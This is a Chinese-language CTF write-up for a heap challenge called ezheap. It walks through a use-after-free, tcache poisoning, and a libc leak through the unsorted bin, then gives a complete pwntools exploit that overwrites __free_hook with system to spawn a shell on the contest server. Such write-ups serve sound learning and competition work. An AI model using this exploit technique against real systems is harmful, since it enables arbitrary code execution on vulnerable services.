1#

昨晚和leyi讨论了貌似两小时~~实则leyi全程教学~~，成功让我矫正了很多误区，因此这个题的第二版出来了

回宿舍之后打了一晚上游戏。

早上6点醒了看两小时番再去自习室看两小时轻小说苏轼啊

然后装了一下午虚拟机，晚上才开始继续写WP

呵呵，搞WP又浪费半天

正文#

1
    Arch:       amd64-64-little
2
    RELRO:      Full RELRO
3
    Stack:      Canary found
4
    NX:         NX enabled
5
    PIE:        PIE enabled
6
    SHSTK:      Enabled
7
    IBT:        Enabled
8
    Stripped:   No

ezheap让我直接不用考虑栈,所以不考虑canary看PIE就好

看main函数逻辑

1
int __fastcall z(int argc, const char **argv, const char **envp)
2
{
3
  int v4; // [rsp+4h] [rbp-Ch] BYREF
4
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]
5

6
  v5 = __readfsqword(0x28u);
7
  init_buf(argc, argv, envp);
8
  while ( 1 )
9
  {
10
    while ( 1 )
11
    {
12
      menu();
13
      __isoc99_scanf("%d", &v4);
14
      if ( v4 != 4 )
15
        break;
16
      edit();
17
    }
18
    if ( v4 > 4 )
19
      break;
20
    switch ( v4 )
21
    {
22
      case 3:
23
        show();
24
        break;
25
      case 1:
26
        add();
27
        break;
28
      case 2:
29
        delete();
30
        break;
31
      default:
32
        goto LABEL_12;
33
    }
34
  }
35
LABEL_12:
36
  puts("Invalid");
37
  return 0;
38
}

看menu

1
unsigned __int64 menu()
2
{
3
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]
4

5
  v1 = __readfsqword(0x28u);
6
  puts("1.add note");
7
  puts("2.delete note");
8
  puts("3.show note");
9
  puts("4.edit note");
10
  puts(">>");
11
  return __readfsqword(0x28u) ^ v1;
12
}

看看add逻辑

1
unsigned __int64 add()
2
{
3
  char buf; // [rsp+3h] [rbp-1Dh] BYREF
4
  int i; // [rsp+4h] [rbp-1Ch]
5
  signed int idx; // [rsp+8h] [rbp-18h]
6
  int size; // [rsp+Ch] [rbp-14h]
7
  _BYTE *v5; // [rsp+10h] [rbp-10h]
8
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]
9

10
  v6 = __readfsqword(0x28u);
11
  idx = read_idx();
12
  if ( (unsigned int)idx >= 0x10 || *((_QWORD *)&notebook + idx) )
13
  {
14
    puts("Invalid index");
15
  }
16
  else
17
  {
18
    *((_QWORD *)&notebook + idx) = malloc(0x20u);
19
    size = read_size();
20
    v5 = malloc(size);
21
    notesize[idx] = size;
22
    **((_QWORD **)&notebook + idx) = size;
23
    *(_QWORD *)(*((_QWORD *)&notebook + idx) + 24LL) = v5;
24
    *(_QWORD *)(*((_QWORD *)&notebook + idx) + 8LL) = 0;
25
    *(_QWORD *)(*((_QWORD *)&notebook + idx) + 16LL) = 0;
26
    puts("write the note: ");
27
    for ( i = 0; i < size; ++i )
28
    {
29
      read(0, &buf, 1u);
30
      if ( buf == 10 )
31
        break;
32
      v5[i] = buf;
33
    }
34
  }
35
  return __readfsqword(0x28u) ^ v6;
36
}

申请了两个指针，一个是指向notebook的，还有一个指向的是申请的写入区域

两个都是malloc

那么大小能申夺少的

1
__int64 read_size()
2
{
3
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
4
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]
5

6
  v2 = __readfsqword(0x28u);
7
  puts("enter size: ");
8
  read(0, buf, 8u);
9
  return (unsigned int)atoi(buf);
10
}

没怎么管

再看free

1
unsigned __int64 delete()
2
{
3
  unsigned int idx; // [rsp+4h] [rbp-Ch]
4
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
5

6
  v2 = __readfsqword(0x28u);
7
  idx = read_idx();
8
  if ( idx < 0x10 && notebook[idx] )
9
    free((void *)notebook[idx]);
10
  else
11
    puts("Invalid index");
12
  return __readfsqword(0x28u) ^ v2;
13
}

可以UAF

use after free

堆内存概述、Tcache Poisoning - 楽の栈

~~唯一前置知识~~

那么是不是就需要两个以上的指针来处理

那么先看进动调

1
1.add note
2
2.delete note
3
3.show note
4
4.edit note
5
>>
6
1
7
enter idx(0~15):
8
0
9
enter size:
10
32
11
write the note:
12

13
1.add note
14
2.delete note
15
3.show note
16
4.edit note
17
>>
18
1
19
enter idx(0~15):
20
1
21
enter size:
22
32
23
write the note:
24

25
1.add note
26
2.delete note
27
3.show note
28
4.edit note
29
>>
30
1
31
enter idx(0~15):
32
2
33
enter size:
34
32
35
write the note:
36

37
1.add note
38
2.delete note
39
3.show note
40
4.edit note
41
>>
42
2
43
enter idx(0~15):
44
0
45
1.add note
46
2.delete note
47
3.show note
48
4.edit note
49
>>
50
2
51
enter idx(0~15):
52
1
53
1.add note
54
2.delete note
55
3.show note
56
4.edit note
57
>>
58
2
59
enter idx(0~15):
60
2
61
1.add note
62
2.delete note
63
3.show note
64
4.edit note
65
>>
66
^C

af013ba0-03a6-4a40-aa91-970b91e11591

这里快了一步，直接释放了三个

可以看到都被丢到tcachebin里去了

关系是LIFO,具体就是头插，最先插的进入尾部

我释放的顺序是012

所以指向关系就是

1
链表头(head)                                    链表尾(tail)
2
0x555555559360 -> 0x555555559300 -> 0x5555555592a0 -> NULL
3
   (最后释放)         (中间释放)         (最先释放)

那么我们新一次add就会拿走0x555555559360和0x555555559300

他们的fd指向关系就是

1
tcache[0x30] head
2
    ↓
3
0x555555559360   (chunk 头 0x555555559350 的 user data)
4
    fd -> 0x555555559300
5
    bk 未使用
6
    ↓
7
0x555555559300   (chunk 头 0x5555555592f0 的 user data)
8
    fd -> 0x5555555592a0
9
    bk 未使用
10
    ↓
11
0x5555555592a0   (chunk 头 0x555555559290 的 user data)
12
    fd -> NULL
13
    bk 未使用

那么

可以看到add一次之后

确实是直接从这里拿的，但是又由于没有清空，所以理论上能打印出残留的fd

但是你要考虑到打印不出的情况

puts 从 v5[0] 开始打印，遇到第一个 \x00 停止。

所以说也就是1指向0的指针

能泄露堆地址了

![屏幕截图 2026-09-19 180015](/images/post/屏幕截图 2026-09-19 180015.png)

然后就是泄露libc基址,想要拿到libc基址，那么就得考虑unsortedbin

这里kr一下第一版的东西

各个私募bin的优先级

tcache 范围：chunk size ≤ 0x410（即 request ≤ 0x400），每 bin 最多 7 个，LIFO。 fastbin 范围：chunk size ≤ 0x80（即 request ≤ 0x78），LIFO，不合并。 small bin：chunk size < 0x400（1024 B）。 large bin：chunk size ≥ 0x400。 fastbin 合并阈值 FASTBIN_CONSOLIDATION_THRESHOLD = 0x10000（64KB）。

Free 时的优先级（从高到低） tcache：若 size ≤ 0x410 且该 bin 的 count < 7 → 直接 LIFO 链入 tcache（最快，不合并）。 fastbin：否则，若 size ≤ 0x80 → 链入 fastbin（不合并）。但触发以下任一条件会把所有 fastbin 倒进 unsorted 并合并：本次释放后空闲总量 ≥ 0x10000；释放块与 top chunk 相邻。 unsorted bin：否则先与前/后空闲块合并，合并后若紧邻 top 就并入 top，否则放入 unsorted bin。
Malloc 时的优先级（从高到低） tcache：精确 size 匹配且 count > 0 → 弹一个（LIFO，不切割）。 fastbin：精确 size 匹配且非空 → 弹一个（LIFO）。 small bin：对应 bin 非空 → 弹一个（FIFO）。 unsorted bin：扫描它：若只有一块且大小正好等于请求（且不是 last_remainder）→ 直接返回；否则把块按大小分拣回 small/large bin，途中遇到正好大小的块就顺手拿走；扫描完还没分到再走下一步。

现在讨论泄露libc的方法

一般来说，我们考虑unsorted bin

unsorted 块空闲时 fd/bk 指向 main_arena（在 libc 里），读它就能算 libc 基址

那么怎么让free()后的chunk落入到unsorted bin呢

大小要”绕过” tcache / fastbin
伪造块的 nextchunk 必须落在合法映射内存里
prev_inuse 位不能引爆炸

现在我们要怎么塞一个大一点的chunk呢

1
__int64 read_size()
2
{
3
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
4
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]
5

6
  v2 = __readfsqword(0x28u);
7
  puts("enter size: ");
8
  read(0, buf, 8u);
9
  return (unsigned int)atoi(buf);
10
}

对于内容区的chunk大小并没有限制,所以可以随意造大小

那就是先add(4)回收add()后delete在tcache bin里的chunk

然后再add(5, 0x500)tcache检查是0x400

注意一下合并机制

glibc

1
next = P + P->size                  // 算出 P 后面那块
2
prev_inuse = P->size & 1           // P 位:前一块是否在使用中
3

4
// ── ① 向后合并(看前一块)
5
if (prev_inuse == 0) {             // 前一块是空闲的
6
     prev = P - P->prev_size
7
     unlink(prev); 合并进 P
8
}
9

10
// ── ② 向前合并(看后一块)
11
if (next == top_chunk) {           // ★ 后一块就是 top
12
    合并进 top_chunk               // ★★★ 不写 fd,直接并入 top
13
} else if (next 是空闲的) {        // 后一块也是空闲的
14
     unlink(next); 合并进 P
15
}
16

17
// ── ③ 把合并后的块挂进 unsorted bin
18
//    (只有"没被并入 top"时才会走到这)
19
chunk->fd = &main_arena.bins[0];   // ★ 写出 main_arena 地址!
20
chunk->bk = ...

看不懂，再鸡巴简化一下

1
free(P):
2
  ① 大小/对齐检查, check_inuse_chunk
3
  ② 【tcache 优先】tc_idx < tcache_bins 且 bin 没满 → tcache_put(P) → return
4
  ③ 【fastbin】size <= max_fast → 丢 fastbin → return
5
  ④ 【合并 or 并入 top】(else if 非 mmap):
6
        if (nextchunk == av->top) { 并入 top; return; }   ← 我们防的
7
        否则 向后/向前合并
8
        → 挂进 unsorted bin(写 fd = main_arena)

所以说我们后面delete前要先垫一块以防进入top chunk

1
add(6, 0x20)          # 把 top 推过 D5,使 D5 成为独立块(free 不和 top 合并)

note5的结构:

1
H5 (头部 0x30):  [size=0x500][0][0][data_ptr = D5]   偏移 0x18 处存的就是 D5 的地址
2
D5 (数据 0x510):  [0x500 字节数据...]

delete是不是只能free第一个chunk，而不是内容区的chunk，所以我们是不是应该想办法让D5变成note上的chunk

那是不是需要把一个原本属于notebook上的chunk的头部指针指向D5不就好了

那么是不是得需要一个可控的指针指向他

现在我们需要找到D5的位置对吧

1
add(0,1,2,0x20) 建出:  H0  D0  H1  D1  H2  D2   (top 在 0x120)
2
delete(0,1,2)        只 free 头部 H0/H1/H2,位置不动
3
add(3)   取 tcache:   header=H2, data=H1        (tcache 剩 H0)
4
add(4)   取 tcache:   header=H0;  data=D4 来自 top → D4 占 0x120~0x150
5
add(5)   top 分配:    H5 占 0x150~0x180;  D5 占 0x180~0x690
6
add(6)   top 分配:    H6 占 0x690~...

也就是

1
H0   0x000
2
D0   0x030
3
H1   0x060
4
D1   0x090
5
H2   0x0c0
6
D2   0x0f0
7
(top 0x120)
8
D4   0x120          ← add(4) 数据来自 top
9
H5   0x150          ← add(5) 头部来自 top  ★
10
D5   0x180

那么我们需要的就是

1
H5 + 0x18 = (leak_h0 + 0x150) + 0x18
2
          = leak_h0 + 0x168   →  这正是 note5 头部里"存 D5 地址"的那个 8 字节字段

第一轮泄露的就是leak_h0

那是不是就好说了

再加上第一阶段有一个闲置的工具

第一阶段的add(3)的这个两个chunk可是之前的notebook里的1与2

那是不是编辑他就好了

那就是基本的数据写入

1
edit(3, ...):  把 H1[0x18] 设成 目标地址 TARGET   ← "瞄准"要写哪
2
edit(1, VAL):   把 VAL 写进 H1[0x18]=TARGET       ← "写入"想要的值

注意校验

1
read(0, *(void **)(*((_QWORD *)&notebook + idx) + 24LL), notesize[idx]);

1
edit(3, p64(0x20) + b'\x00'*0x10 + p64(poison_entries))
2
edit(1, p64(D5) + b'\x00'*0x18)         # entries[0x30] = D5

注意此时D5已经是准备好的状态,然后我们再add(7)再delete掉就好了

然后再利用第一阶段的读写功能进行对D5的读就好

1
add(7, 0x20)            # header_7 = D5 ; data_7 = D5+0x10 (valid chain)
2
delete(7)               # free(D5, 0x510) -> unsorted bin (D5 not top now)
3
# read D5 via the note1/note3 overlap (avoids another tcache malloc)
4
edit(3, p64(0x20) + b'\x00'*0x10 + p64(D5))   # H1[0x18] = D5
5
leak = u64le(show(1))   # puts(D5) -> D5[0] = main_arena + off
6
...
7
libc_base = leak - (MALLOC_HOOK + 0x70)

拿到libc了

再让1指向free_hook，然后freehook再指向system不就可以算出来了

1
edit(3, p64(0x20) + b'\x00'*0x10 + p64(free_hook_addr))   # 瞄准:note1 数据指针 → __free_hook
2
edit(1, p64(system_addr) + b'\x00'*0x18)                  # 写入:__free_hook = system
3
edit(3, b'/bin/sh\x00' + b'\x00'*0x10 + p64(free_hook_addr))  # ③ 把 /bin/sh 种到 H1 头部
4
delete(1)                                                 # 触发:free(H1) → system("/bin/sh")

以及偏移计算补充

glibc2.31

1
tcache_entry *e = tcache->entries[tc_idx];
2
if (__glibc_unlikely (!e))     // 只看链表头是不是 NULL
3
    return NULL;
4
--(tcache->counts[tc_idx]);    // counts 只是顺便减，不当开关

1
tcache = H0 - 0x290      # tcache 结构在堆里的地址
2
poison_entries = tcache + 0x88   # entries[0x30]
3
poison_count1  = tcache + 0x2    # counts[0x30]

malloc.c4

1
typedef struct tcache_perthread_struct {
2
  uint16_t counts[TCACHE_MAX_BINS];        // 64 * 2 = 0x80 字节
3
  tcache_entry *entries[TCACHE_MAX_BINS];   // 64 * 8 = 0x200 字节
4
} tcache_perthread_struct;

结构体本体 = 0x80 + 0x200 = 0x280

加上 chunk 头开销 0x10（prev_size + size）→ chunk 大小 = 0x290

堆布局(末12位为0)

1
heap_base+0x00   tcache 块的头 (size=0x290)
2
heap_base+0x10   tcache 结构本体 (mem 指针, 即 tcache 变量)   ← 我们要的
3
heap_base+0x290  H0 块的头
4
heap_base+0x2a0  H0 的 mem 指针  (= H0 头部+0x10)

堆地址泄露的是H0的mem指针(每一个fd都指向的是下一个块的mem)

那么

1
tcache(结构本体) = heap_base + 0x10
2
H0(mem)          = heap_base + 0x2a0
3
=> tcache = H0 - 0x290

看到entries排在counts后面

1
offset 0x00 : counts[0..63]   (0x80 字节)
2
offset 0x80 : entries[0..63]   (0x200 字节)  ← entries 从这里开始

tcache 的 bin 编号规则：index = (chunksize - 0x20) / 0x10

1
uint16_t counts[64];        // offset 0x00,  共 0x80 字节
2
tcache_entry *entries[64];  // offset 0x80,  共 0x200 字节

且entries[i] 偏移 = 0x80 + i*8

回看add逻辑

1
H = malloc(0x20);     // 头部，永远是 0x20 请求
2
D = malloc(size);     // 数据，大小随参数变

也就是说malloc(0x20) 实际分配的是 0x30 的 chunk（0x20 用户数据 + 8 字节，对齐到 0x30）

所以所有的note的头部都落在tcache的0x30bin

0x30 chunk 的 bin 编号 = (0x30 - 0x20)/0x10 = 1

那么

1
poison_entries = tcache + 0x80 + 1*8 = tcache + 0x88

剩下就是exp

1
from pwn import *
2
import os
3

4
context.log_level = 'error'
5
HOST = '7bbde272e02f39c5d044350d.tcp-ctf2.dasctf.com'
6
PORT = 9999
7

8
libc_path = './0eab6a762499f93c406653ed436eff824849add94e0adba4413572f2a3b7faa0.6'
9
if not os.path.exists(libc_path):
10
    libc_path = './libc.so.6'
11
libc = ELF(libc_path)
12
FREE_HOOK   = libc.sym['__free_hook']
13
SYSTEM      = libc.sym['system']
14
MALLOC_HOOK = libc.sym['__malloc_hook']
15

16
p = remote(HOST, PORT, ssl=True, sni=HOST)
17

18
u64le = lambda b: u64(b.ljust(8, b'\x00'))
19

20
def add(idx, size, data=b'\n'):
21
    p.sendlineafter(b'>>', b'1')
22
    p.sendafter(b'enter idx', str(idx).encode() + b'\n')
23
    p.sendafter(b'enter size', str(size).encode() + b'\n')
24
    if data == b'\n':
25
        p.send(b'\n')
26
    else:
27
        p.send(data[:size].ljust(size, b'\x00'))
28

29
def delete(idx):
30
    p.sendlineafter(b'>>', b'2')
31
    p.sendafter(b'enter idx', str(idx).encode() + b'\n')
32

33
def show_raw(idx):
34
    p.sendlineafter(b'>>', b'3')
35
    p.sendafter(b'enter idx', str(idx).encode() + b'\n')
36
    p.recvline()
37
    return p.recvline()
38

39
def show(idx):
40
    return show_raw(idx).split(b'\n')[0]
41

42
def edit(idx, data):
43
    p.sendlineafter(b'>>', b'4')
44
    p.sendafter(b'enter idx', str(idx).encode() + b'\n')
45
    p.sendafter(b'content', data)
46

47
add(0, 0x20)
48
add(1, 0x20)
49
add(2, 0x20)
50
delete(0)
51
delete(1)
52
delete(2)
53
add(3, 0x20)
54
leak_h0 = u64le(show(3))
55

56
tcache = leak_h0 - 0x290
57
poison_entries = tcache + 0x88
58
poison_count1  = tcache + 0x2
59

60
def arb_read(ADDR):
61
    edit(3, p64(0x80) + b'\x00'*0x10 + p64(ADDR))
62
    return show(1)
63

64
add(4, 0x20)
65
add(5, 0x500, b'\x00'*0x500)
66
add(6, 0x20)
67

68
H5 = leak_h0 + 0x150
69
D5 = u64le(arb_read(H5 + 0x18))
70

71
edit(3, p64(0x20) + b'\x00'*0x10 + p64(D5))
72
edit(1, p64(D5+0x10) + p64(D5+0x20) + b'\x00'*0x10)
73

74
edit(3, p64(0x20) + b'\x00'*0x10 + p64(poison_count1))
75
edit(1, p64(0xff) + b'\x00'*0x18)
76
edit(3, p64(0x20) + b'\x00'*0x10 + p64(poison_entries))
77
edit(1, p64(D5) + b'\x00'*0x18)
78

79
add(7, 0x20)
80
delete(7)
81
edit(3, p64(0x20) + b'\x00'*0x10 + p64(D5))
82
leak = u64le(show(1))
83

84
libc_base = leak - (MALLOC_HOOK + 0x70)
85
free_hook_addr = libc_base + FREE_HOOK
86
system_addr    = libc_base + SYSTEM
87

88
edit(3, p64(0x20) + b'\x00'*0x10 + p64(free_hook_addr))
89
edit(1, p64(system_addr) + b'\x00'*0x18)
90
edit(3, b'/bin/sh\x00' + b'\x00'*0x10 + p64(free_hook_addr))
91
delete(1)
92

93
p.sendline(b'cat flag; cat /flag; cat ./flag; echo ===PWNED===')

dxfaker's site

1#

正文#